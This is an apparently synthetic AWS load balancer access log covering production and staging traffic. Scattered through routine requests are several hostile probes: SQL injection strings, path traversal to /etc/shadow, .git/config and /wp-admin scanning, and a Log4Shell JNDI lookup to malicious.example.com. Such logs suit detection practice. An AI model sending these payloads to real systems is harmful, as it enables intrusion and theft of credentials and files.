0.036257 200 200 657 6417 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfcd-6dcae992bd38448095f51314" "prod-api-alb.example.com" "-" 5 2024-11-01T01:43:25.401032Z "forward" "-" "-" "10.0.205.1:443" "200" "-" "-" -https 2024-11-01T01:43:26.288957Z prod-api-alb 252.144.114.54:22253 10.0.89.220:443 0.088323 0.170647 0.000887 301 301 825 12480 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfce-6af8a3bf6992489cbfe2d373" "prod-api-alb.example.com" "-" 8 2024-11-01T01:43:26.288957Z "forward" "-" "-" "10.0.89.220:443" "301" "-" "-" -https 2024-11-01T01:43:27.455853Z prod-web-alb 208.81.166.115:24465 10.0.55.246:443 0.082653 0.324379 0.022890 200 200 920 1238 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfcf-c0ca8bb7f1ff479a8367a767" "prod-web-alb.example.com" "-" 1 2024-11-01T01:43:27.455853Z "forward" "-" "-" "10.0.55.246:443" "200" "-" "-" -https 2024-11-01T01:43:27.976208Z prod-web-alb 242.12.72.94:60763 10.0.75.171:443 0.057800 0.146159 0.021189 200 200 709 3053 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfcf-a3f4ad01bb8d4eb1bcbc224f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:43:27.976208Z "forward" "-" "-" "10.0.75.171:443" "200" "-" "-" -https 2024-11-01T01:43:29.242023Z prod-web-alb 39.135.202.40:27389 10.0.152.191:443 0.010752 0.026444 0.090739 200 200 494 5718 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfd1-cae98dfea5334306b3dab7a1" "prod-web-alb.example.com" "-" 10 2024-11-01T01:43:29.242023Z "forward" "-" "-" "10.0.152.191:443" "200" "-" "-" -https 2024-11-01T01:43:31.067771Z prod-web-alb 73.60.29.72:44405 10.0.202.92:443 0.052683 0.466560 0.031544 301 301 464 7341 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfd3-3d948d36c0c44f3c8cbaa5d8" "prod-web-alb.example.com" "-" 1 2024-11-01T01:43:31.067771Z "forward" "-" "-" "10.0.202.92:443" "301" "-" "-" -http 2024-11-01T01:43:31.897321Z staging-alb 111.98.90.58:28632 195.190.207.35:80 0.028719 0.072226 0.119041 302 302 250 13584 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfd3-145694c4850c4a598874f931" "staging-alb.example.com" "-" 0 2024-11-01T01:43:31.897321Z "forward" "-" "-" "195.190.207.35:80" "302" "-" "-" -https 2024-11-01T01:43:33.512520Z prod-web-alb 15.41.186.248:29938 10.0.77.193:443 0.093509 0.338527 0.057722 200 200 881 5556 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfd5-b5b943d58aff4bef8416a6e5" "prod-web-alb.example.com" "-" 6 2024-11-01T01:43:33.512520Z "forward" "-" "-" "10.0.77.193:443" "200" "-" "-" -https 2024-11-01T01:43:35.187526Z prod-api-alb 39.22.214.36:12618 10.0.9.153:443 0.007237 0.227336 0.077011 302 302 873 12889 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfd7-392c6086d7c94a00b8531f4b" "prod-api-alb.example.com" "-" 5 2024-11-01T01:43:35.187526Z "forward" "-" "-" "10.0.9.153:443" "302" "-" "-" -https 2024-11-01T01:43:36.135942Z staging-alb 225.202.242.2:53375 243.12.4.255:80 0.084572 0.070409 0.030794 200 200 216 3072 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfd8-d4d1e06d3a1d4c6ba6cf4970" "staging-alb.example.com" "-" 4 2024-11-01T01:43:36.135942Z "forward" "-" "-" "243.12.4.255:80" "200" "-" "-" -http 2024-11-01T01:43:37.295109Z staging-alb 192.237.4.1:44128 125.146.101.217:443 0.117844 0.409327 0.109054 200 200 967 3671 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfd9-f656508b4a3948e594f540bc" "staging-alb.example.com" "-" 4 2024-11-01T01:43:37.295109Z "forward" "-" "-" "125.146.101.217:443" "200" "-" "-" -https 2024-11-01T01:43:37.941490Z prod-web-alb 241.163.112.243:24322 10.0.217.166:443 0.083932 0.343698 0.093660 200 200 795 3455 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfd9-6e30a91551034587a0dccd6d" "prod-web-alb.example.com" "-" 10 2024-11-01T01:43:37.941490Z "forward" "-" "-" "10.0.217.166:443" "200" "-" "-" -http 2024-11-01T01:43:38.926142Z staging-alb 49.98.14.173:18878 156.175.3.200:443 0.107920 0.356179 0.017340 404 404 130 12686 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfda-296d54a8dbac41409a270d29" "staging-alb.example.com" "-" 10 2024-11-01T01:43:38.926142Z "forward" "-" "-" "156.175.3.200:443" "404" "-" "-" -https 2024-11-01T01:43:40.259797Z staging-alb 174.43.250.23:62397 79.49.63.250:8080 0.077441 0.494974 0.045432 200 200 505 8678 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfdc-2822fc3d486b408b95305578" "staging-alb.example.com" "-" 9 2024-11-01T01:43:40.259797Z "forward" "-" "-" "79.49.63.250:8080" "200" "-" "-" -https 2024-11-01T01:43:40.873653Z prod-api-alb 56.215.43.16:27687 10.0.197.220:443 0.023067 0.273567 0.055713 302 302 992 3410 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfdc-88dd9b1b705f49d388e8afa1" "prod-api-alb.example.com" "-" 0 2024-11-01T01:43:40.873653Z "forward" "-" "-" "10.0.197.220:443" "302" "-" "-" -https 2024-11-01T01:43:41.037209Z prod-web-alb 45.155.205.233:13558 10.0.112.67:443 0.046624 0.107167 0.012998 401 401 602 13495 "POST /.git/config HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfdd-ec70506a866f4c369f436b8a" "-" "-" 0 2024-11-01T01:43:41.037209Z "forward" "-" "-" "10.0.112.67:443" "401" "-" "-" -https 2024-11-01T01:43:42.916133Z prod-web-alb 185.181.21.23:26244 10.0.70.7:443 0.051553 0.216403 0.074659 500 500 544 13925 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfde-4f625498b58c4c658cff909b" "-" "-" 9 2024-11-01T01:43:42.916133Z "forward" "-" "-" "10.0.70.7:443" "500" "-" "-" -https 2024-11-01T01:43:43.772393Z prod-api-alb 185.181.160.192:48594 10.0.233.10:443 0.048017 0.115819 0.078754 404 404 988 5180 "GET /images/../../../../etc/shadow HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfdf-3a1692e9d1d943f0adab15fc" "-" "-" 0 2024-11-01T01:43:43.772393Z "forward" "-" "-" "10.0.233.10:443" "404" "-" "-" -https 2024-11-01T01:43:44.089103Z prod-api-alb 124.178.23.243:49451 10.0.85.179:443 0.082371 0.344079 0.018660 200 200 505 10222 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfe0-e065f92a2ae74840903b6fa1" "prod-api-alb.example.com" "-" 8 2024-11-01T01:43:44.089103Z "forward" "-" "-" "10.0.85.179:443" "200" "-" "-" -https 2024-11-01T01:43:45.482168Z prod-api-alb 195.37.229.200:19236 10.0.70.19:443 0.056913 0.172238 0.010802 200 200 70 4212 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfe1-c763ea93bf6d490e9d2b009f" "-" "-" 7 2024-11-01T01:43:45.482168Z "forward" "-" "-" "10.0.70.19:443" "200" "-" "-" -https 2024-11-01T01:43:46.651882Z prod-web-alb 137.42.169.151:46688 10.0.158.142:443 0.034973 0.129866 0.065615 200 200 602 11350 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfe2-b5eb7379d21d47a8817e9a9e" "prod-web-alb.example.com" "-" 0 2024-11-01T01:43:46.651882Z "forward" "-" "-" "10.0.158.142:443" "200" "-" "-" -https 2024-11-01T01:43:47.536548Z staging-alb 115.42.152.168:31825 203.126.83.206:8080 0.118033 0.559070 0.112607 302 302 146 3765 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfe3-187f8b0a97894804bff7def9" "staging-alb.example.com" "-" 4 2024-11-01T01:43:47.536548Z "forward" "-" "-" "203.126.83.206:8080" "302" "-" "-" -https 2024-11-01T01:43:48.367834Z prod-api-alb 144.6.219.110:51428 10.0.99.46:443 0.005947 0.491077 0.028610 302 302 155 3123 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfe4-fdcae7649f40490a80ed124c" "prod-api-alb.example.com" "-" 8 2024-11-01T01:43:48.367834Z "forward" "-" "-" "10.0.99.46:443" "302" "-" "-" -http 2024-11-01T01:43:50.209907Z staging-alb 254.42.58.224:58188 235.110.223.122:8080 0.100740 0.634082 0.126837 404 404 550 12817 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfe6-dcdab0d2f4d841ec8e98f179" "staging-alb.example.com" "-" 8 2024-11-01T01:43:50.209907Z "forward" "-" "-" "235.110.223.122:8080" "404" "-" "-" -https 2024-11-01T01:43:50.549789Z prod-api-alb 30.92.82.53:39473 10.0.155.219:443 0.099670 0.285531 0.085973 301 301 169 1823 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfe6-787c5ecd5bfe4b95a7acee15" "prod-api-alb.example.com" "-" 1 2024-11-01T01:43:50.549789Z "forward" "-" "-" "10.0.155.219:443" "301" "-" "-" -https 2024-11-01T01:43:52.254137Z prod-api-alb 23.202.240.186:28115 10.0.195.214:443 0.050563 0.060889 0.049031 200 200 77 1593 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfe8-abc8b1f281614ada829827b2" "-" "-" 10 2024-11-01T01:43:52.254137Z "forward" "-" "-" "10.0.195.214:443" "200" "-" "-" -https 2024-11-01T01:43:52.656634Z prod-web-alb 12.24.221.247:14746 10.0.83.109:443 0.043484 0.116587 0.096473 404 404 569 6815 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfe8-567f2a63c1c44dbcb867200c" "prod-web-alb.example.com" "-" 4 2024-11-01T01:43:52.656634Z "forward" "-" "-" "10.0.83.109:443" "404" "-" "-" -https 2024-11-01T01:43:53.284081Z prod-api-alb 242.173.204.96:44823 10.0.57.190:443 0.019740 0.448055 0.046942 200 200 982 1682 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfe9-3ecbd0b9d6f54250934f7371" "prod-api-alb.example.com" "-" 8 2024-11-01T01:43:53.284081Z "forward" "-" "-" "10.0.57.190:443" "200" "-" "-" -http 2024-11-01T01:43:54.712566Z staging-alb 51.48.14.156:59053 180.181.176.246:443 0.034599 0.044416 0.143323 302 302 991 2591 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfea-1eab45a73a314886a511d11c" "staging-alb.example.com" "-" 7 2024-11-01T01:43:54.712566Z "forward" "-" "-" "180.181.176.246:443" "302" "-" "-" -https 2024-11-01T01:43:55.884350Z staging-alb 15.184.22.167:56053 148.253.224.105:80 0.059251 0.426669 0.048843 200 200 190 13543 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfeb-f80f23084be14af690c83a10" "staging-alb.example.com" "-" 3 2024-11-01T01:43:55.884350Z "forward" "-" "-" "148.253.224.105:80" "200" "-" "-" -https 2024-11-01T01:43:56.105512Z prod-web-alb 100.123.78.30:10040 10.0.220.76:443 0.022473 0.294229 0.070504 302 302 730 1962 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfec-bfc180ac82fa4d79b96a3eac" "prod-web-alb.example.com" "-" 8 2024-11-01T01:43:56.105512Z "forward" "-" "-" "10.0.220.76:443" "302" "-" "-" -https 2024-11-01T01:43:56.460795Z prod-api-alb 152.148.73.118:29404 10.0.177.214:443 0.018980 0.308502 0.023960 200 200 659 4796 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfec-22d873031e1343319cb1e14b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:43:56.460795Z "forward" "-" "-" "10.0.177.214:443" "200" "-" "-" -https 2024-11-01T01:43:56.850289Z prod-web-alb 247.184.84.172:60031 10.0.81.138:443 0.030863 0.159807 0.065626 200 200 784 12152 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfec-969e6f12fd7145e8bcebee63" "prod-web-alb.example.com" "-" 5 2024-11-01T01:43:56.850289Z "forward" "-" "-" "10.0.81.138:443" "200" "-" "-" -https 2024-11-01T01:43:56.959867Z prod-api-alb 94.149.18.165:45177 10.0.136.183:443 0.035072 0.264115 0.074823 301 301 20 9302 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfec-f9e73ee40fbf4b6fafc01f59" "prod-api-alb.example.com" "-" 6 2024-11-01T01:43:56.959867Z "forward" "-" "-" "10.0.136.183:443" "301" "-" "-" -https 2024-11-01T01:43:58.182569Z prod-api-alb 178.197.113.92:32546 10.0.251.8:443 0.036291 0.082128 0.044717 301 301 589 6336 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfee-5cbfc355ed0a497cb014465f" "prod-api-alb.example.com" "-" 7 2024-11-01T01:43:58.182569Z "forward" "-" "-" "10.0.251.8:443" "301" "-" "-" -https 2024-11-01T01:43:58.905554Z staging-alb 116.196.15.80:56506 234.13.87.222:443 0.019264 0.303735 0.123983 200 200 80 13824 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfee-9ed434111cf94333866cddbc" "staging-alb.example.com" "-" 6 2024-11-01T01:43:58.905554Z "forward" "-" "-" "234.13.87.222:443" "200" "-" "-" -http 2024-11-01T01:43:59.098886Z staging-alb 45.155.205.208:30365 1.21.185.41:80 0.002333 0.748558 0.033670 401 401 659 10202 "POST /wp-admin HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfef-7882e7092e534f52baedeb21" "-" "-" 7 2024-11-01T01:43:59.098886Z "forward" "-" "-" "1.21.185.41:80" "401" "-" "-" -https 2024-11-01T01:44:00.472048Z prod-web-alb 122.187.221.3:60467 10.0.1.215:443 0.005797 0.476978 0.008237 200 200 538 14905 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cff0-13c6b6d1cc83484582645709" "prod-web-alb.example.com" "-" 7 2024-11-01T01:44:00.472048Z "forward" "-" "-" "10.0.1.215:443" "200" "-" "-" -https 2024-11-01T01:44:01.965676Z staging-alb 20.83.96.11:22110 198.117.68.135:443 0.032945 0.345440 0.099332 200 200 212 3593 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cff1-2db7366b26114018bb4d9456" "staging-alb.example.com" "-" 5 2024-11-01T01:44:01.965676Z "forward" "-" "-" "198.117.68.135:443" "200" "-" "-" -https 2024-11-01T01:44:02.309619Z staging-alb 201.115.61.150:46348 202.143.110.179:8080 0.126806 0.572252 0.010156 200 200 571 10111 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cff2-384f97f368254aa0ab6c6282" "staging-alb.example.com" "-" 1 2024-11-01T01:44:02.309619Z "forward" "-" "-" "202.143.110.179:8080" "200" "-" "-" -https 2024-11-01T01:44:04.205783Z prod-web-alb 45.155.205.170:51613 10.0.194.76:443 0.014387 0.223107 0.059499 403 403 491 8326 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cff4-10233558bf224e9f861b938a" "-" "-" 1 2024-11-01T01:44:04.205783Z "forward" "-" "-" "10.0.194.76:443" "403" "-" "-" -https 2024-11-01T01:44:05.723942Z staging-alb 84.164.213.124:45712 31.227.193.252:443 0.102838 0.126109 0.073168 200 200 690 5381 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cff5-5a81fdeeb39b4ad4b3d4137d" "staging-alb.example.com" "-" 4 2024-11-01T01:44:05.723942Z "forward" "-" "-" "31.227.193.252:443" "200" "-" "-" -https 2024-11-01T01:44:07.285596Z prod-api-alb 45.155.205.246:35747 10.0.80.90:443 0.084059 0.213088 0.052680 404 404 505 2058 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cff7-872bbb0c90ff48399ee5f8ad" "-" "-" 1 2024-11-01T01:44:07.285596Z "forward" "-" "-" "10.0.80.90:443" "404" "-" "-" -https 2024-11-01T01:44:08.101984Z prod-web-alb 219.45.135.9:57220 10.0.235.54:443 0.017662 0.250884 0.032388 200 200 222 10686 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cff8-312d2d1546744290a5204991" "prod-web-alb.example.com" "-" 4 2024-11-01T01:44:08.101984Z "forward" "-" "-" "10.0.235.54:443" "200" "-" "-" -https 2024-11-01T01:44:09.978525Z prod-api-alb 34.12.61.63:50518 10.0.124.162:443 0.047426 0.105685 0.044436 200 200 925 10532 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cff9-3cfb3c77f8e04dd4b30211d8" "prod-api-alb.example.com" "-" 5 2024-11-01T01:44:09.978525Z "forward" "-" "-" "10.0.124.162:443" "200" "-" "-" -https 2024-11-01T01:44:11.081734Z prod-web-alb 62.215.195.109:28000 10.0.237.82:443 0.010859 0.047314 0.030486 200 200 374 2652 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cffb-a520f60057594c6f9706e3bb" "prod-web-alb.example.com" "-" 2 2024-11-01T01:44:11.081734Z "forward" "-" "-" "10.0.237.82:443" "200" "-" "-" -https 2024-11-01T01:44:12.374031Z prod-web-alb 69.106.150.180:21922 10.0.249.46:443 0.079198 0.140449 0.025067 302 302 661 14761 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cffc-184af103481e4a78a89fa35a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:44:12.374031Z "forward" "-" "-" "10.0.249.46:443" "302" "-" "-" -https 2024-11-01T01:44:13.872172Z prod-web-alb 134.51.18.157:39595 10.0.38.200:443 0.033699 0.021606 0.010400 200 200 739 11375 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cffd-d86e13e34aa74de29a4e0026" "prod-web-alb.example.com" "-" 8 2024-11-01T01:44:13.872172Z "forward" "-" "-" "10.0.38.200:443" "200" "-" "-" -https 2024-11-01T01:44:15.006911Z prod-web-alb 185.181.187.52:14394 10.0.106.70:443 0.074098 0.308335 0.080107 403 403 17 6234 "GET /api/../../../config HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfff-570cba4fc2af417db31bcb14" "-" "-" 7 2024-11-01T01:44:15.006911Z "forward" "-" "-" "10.0.106.70:443" "403" "-" "-" -https 2024-11-01T01:44:16.371322Z prod-api-alb 163.233.178.129:37184 10.0.205.80:443 0.035515 0.376192 0.073665 200 200 697 1205 